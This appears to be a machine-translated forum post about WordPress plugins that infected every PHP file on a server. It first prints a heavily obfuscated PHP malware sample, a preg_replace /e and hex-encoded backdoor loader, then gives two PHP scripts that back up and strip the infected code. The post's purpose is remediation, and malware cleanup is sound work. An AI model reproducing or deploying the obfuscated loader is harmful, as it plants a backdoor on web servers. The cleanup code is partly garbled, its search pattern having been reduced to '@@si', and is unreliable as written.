Some of the company's wordpress websites had malicious code in the downloaded plug-ins, which resulted in the presence of malicious code in the PHP files of all websites on the entire server, so I wrote a simple script to remove them.
- !#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>21<%x5c%x7825j=6[%x5c%x7825ww2!>5b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdyU<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!>>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:q%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cx5c%x7824*1<%x5c%x7825j=tj%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c1%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]KC#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%<*#k#)usbut%x5c%x7860cpg]273]y76]271]y7d]252]y74]256]7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]47825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%xPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x780#)U!%x5c%x7827{**u%x5c%x7825-fd)##Qtpz)#]341]88M4P8825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]2#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V<*#fopoV;ho]y81]265]y72]254]y76#<%x5x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x]y7f#!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x25!-#2#%x5c%x782f#%x5c%x7825#%fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fep>1%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6fs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827c%x78256<^#zsfvr#%x5c%x785cc%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t27825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%%x7822#)fepmqyfA>2b%x5c%7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860fc%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nmtf!%x5c%x7825z>2%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5256]y81]265]y72]254]y76]824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%/(.*)/epreg_replaceinxfryrtvr'; $wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="x2057x2a40x67150x6a145x73165x77166x7a146x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3167x3555x3163x3851x2954x20143x68162x2850x3567x3255x3470x3051x2954x20142x67147x62142x6a166x77147x7150x24167x7a155x64155x7a172x79157x6c54x24142x73163x61151x69153x68166x6e51x2951x3b40x2f52x20153x6d151x73166x7a161x63153x6840x2a57x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>
复制代码
- /**
- * File name: delUnwantedCode.php
- * Function: Delete malicious code in FTP
- * Instructions for use:
- * Please upload the file to the directory where the malicious code needs to be removed, and then access it through CLI or browser. The original one is infected files will be automatically backed up
- */
- $path = dirname(__FILE__); #Define the directory to be processed
- $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php '); #Define the source file backup directory. Before the program filters out malicious codes, first back up the documents to this directory according to the original path
- $fileType = array('php'); #Define the file type (suffix name) that needs to be processed, Lowercase
- $search = array('@@si'); #Define malicious code rules that need to be filtered
- $search_count = array(
- 'all_file'=>array(), #All files
- 'search_file0'=>array(), #No malicious code File
- 'search_file1'=>array() #File containing malicious code
- );
-
-
- $filelist = listDir($path,$fileType,false); #Read the list of qualified files in the directory
- if(!empty ($filelist)){
- foreach ($filelist as $file){
- $file = (isset($file['name'])?$file['name']:$file);
- $search_count['all_file '][] = $file;
- $fileContent = file_get_contents($file);
- $compile_fileContent = preg_replace($search, '', $fileContent);
- if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
- #If the file length is inconsistent after filtering, it means it contains malicious code (the directory where the backup file is located is not filtered)
- $search_count['search_file1'][] = $ file;
-
- ############Start backing up the original file##############
- $bakFile = str_replace($path, $bak_path, $file );
- @make_dir(dirname($bakFile));
- @file_put_contents($bakFile, $fileContent);
- ############End of backing up the original file######## #######
-
- #Rewrite the filtered content to the original PHP file
- @file_put_contents($file, $compile_fileContent);
- }else{
- $search_count['search_file0'][] = $ file;
- }
- }
- }
-
- #print_r($search_count);die;
- echo sprintf('A total of %s qualified files were searched from %s, of which %s contained malicious code, and the processing has been completed ',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- #######################
- ## Auxiliary function
- ################ ########
-
- /**
- * Check whether the target folder exists, if not, automatically create the directory
- *
- * @access public
- * @param string folder directory path. Cannot use URLs relative to the website root
- *
- * @return bool
- */
- function make_dir($folder){
- $reval = false;
- if (!file_exists($folder)){
- #If the directory does not exist then Try to create the directory
- @umask(0);
-
- #Split the directory path into an array
- preg_match_all('/([^/]*)/?/i', $folder, $atmp);
-
- #If If the first character is /, it will be treated as a physical path
- $base = ($atmp[0][0] == '/') ? '/' : '';
-
- #Traverse the array containing path information
- foreach ($atmp[1] AS $val){
- if ('' != $val){
- $base .= $val;
- if ('..' == $val || '.' == $val ){
- #If the directory is. or.., then directly add/continue to the next cycle
- $base .= '/';
- continue;
- }
- }else{
- continue;
- }
-
- $base .= '/ ';
-
- if (!file_exists($base)){
- #Try to create the directory, if the creation fails, continue the loop
- if (@mkdir(rtrim($base, '/'), 0777)){
- @chmod( $base, 0777);
- $reval = true;
- }
- }
- }
- }else{
- #The path already exists.Return whether the path is a directory
- $reval = is_dir($folder);
- }
-
- clearstatcache();
-
- return $reval;
- }
-
-
- ########Get all files in the directory, Include the beginning of subdirectories################
- function listDir($path,$fileType=array(),$fileInfo=true){
- $path = str_replace(array('/ ','\'), DIRECTORY_SEPARATOR, $path);
- if(!file_exists($path)||!is_dir($path)){
- return '';
- }
- if(substr($path, -1, 1)==DIRECTORY_SEPARATOR){
- $path = substr($path, 0,-1);
- }
- $dirList=array();
- $dir=opendir($path);
- while($file=readdir( $dir)){
- #If $fileType is defined and the file type is not within the range of $fileType or the file is a directory, skip
- if($file!=='.'&&$file!=='.. '){
- $file = $path.DIRECTORY_SEPARATOR.$file;
- if(is_dir($file)){
- if(empty($fileType)){
- $dirList[] = ($fileInfo==true?array( 'name'=>$file,'isDir'=>intval(is_dir($file))):$file);
- }
- $dirList = array_merge($dirList,listDir($file,$fileType));
- }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
- $dirList[] = ($fileInfo==true?array('name'=>$ file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($ file)):$file);
- }
- };
- };
- closedir($dir);
- return $dirList;
- }
- ########Get all files in the directory, including the end of the subdirectory# ###############
-
Copy code
- /**
- * File name: delAllUnwantedCode.php
- * Function: Delete malicious code in FTP (supports any number of file processing)
- * Instructions for use:
- * Please upload the file to the directory where the malicious code needs to be removed, and then use CLI or browser Just access it, and the original infected files will be automatically backed up
- */
- set_time_limit(0);ignore_user_abort(true);
- $path = dirname(__FILE__); #Define the directory that needs to be processed
- $bak_path = $path .DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #Define the source file backup directory. Before the program filters the malicious code, first back up the documents to this directory according to the original path
- $fileType = array('php'); #Definition File type to be processed (suffix name), lowercase
- $search = array('@@si'); #Define malicious code rules that need to be filtered
- $file_count = array(
- 'all_file'=>0, #All files
- 'filter_file'=> 0 #Files containing malicious code
- );
-
- replaceUnwantedCode($path); #Execute filtering
-
- #print_r($search_count);die;
- echo sprintf('A total of %s files that meet the criteria were searched from %s , %s of which contain malicious code have been cleaned, and the original files are saved in %s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
-
-
-
- function replaceUnwantedCode($path){
- global $bak_path,$fileType,$search,$file_count;
- $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);
- if(! file_exists($path)||!is_dir($path)){
- return '';
- }
- if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
- $path = substr($path, 0 ,-1);
- }
- $dir=opendir($path);
- while($file=readdir($dir)){
- #If $fileType is defined, and the file type is not within the range of $fileType or the file is a directory, skip
- if($file!=='.'&&$file!=='..'){
- $file = $path.DIRECTORY_SEPARATOR.$file;
- if(is_dir($file)){
- replaceUnwantedCode($file);
- }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
- ############## #################
- @$file_count['all_file']++;
- $fileContent = file_get_contents($file); #File original code
- $compile_fileContent = preg_replace( $search, '', $fileContent); #Filtered content
- if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
- # If the length of the file after filtering is inconsistent, it means it contains malicious code (the directory where the backup file is located is not filtered)
- $file_count['filter_file']++;
-
- ############Start backing up the original file# ##############
- $bakFile = str_replace($path, $bak_path, $file);
- @make_dir(dirname($bakFile));
- @file_put_contents($bakFile, $fileContent );
- ############End of backing up the original file##############
-
- #Rewrite the filtered content to the original PHP File
- @file_put_contents($file, $compile_fileContent);
- }
- ###############################
- unset( $fileContent,$compile_fileContent);
- }
- };
- };
- closedir($dir);
- return true;
- }
-
-
-
-
-
- ################ ########
- ## Auxiliary function
- ######################
-
- /**
- * Check whether the target folder exists, if not, automatically create the directory
- *
- * @access public
- * @param string folder directory path. Cannot use URLs relative to the website root
- *
- * @return bool
- */
- function make_dir($folder){
- $reval = false;
- if (!file_exists($folder)){
- #If the directory does not exist, try to create it
- @umask(0);
-
- #Split the directory path into Array
- preg_match_all('/([^/]*)/?/i', $folder, $atmp);
-
- #If the first character is /, it will be treated as a physical path
- $base = ($atmp[ 0][0] == '/') ? '/' : '';
-
- #Traverse the array containing path information
- foreach ($atmp[1] AS $val){
- if ('' != $val ){
- $base .= $val;
- if ('..' == $val || '.' == $val){
- #If the directory is. or.., directly add/continue to the next cycle
- $base .= '/';
- continue;
- }
- }else{
- continue;
- }
-
- $base .= '/';
-
- if (!file_exists($base)){
- #Try to create a directory, If creation fails, continue looping
- if (@mkdir(rtrim($base, '/'), 0777)){
- @chmod($base, 0777);
- $reval = true;
- }
- }
- }
- } else{
- #The path already exists. Return whether the path is a directory
- $reval = is_dir($folder);
- }
-
- clearstatcache();
-
- return $reval;
- }
-
Copy code
|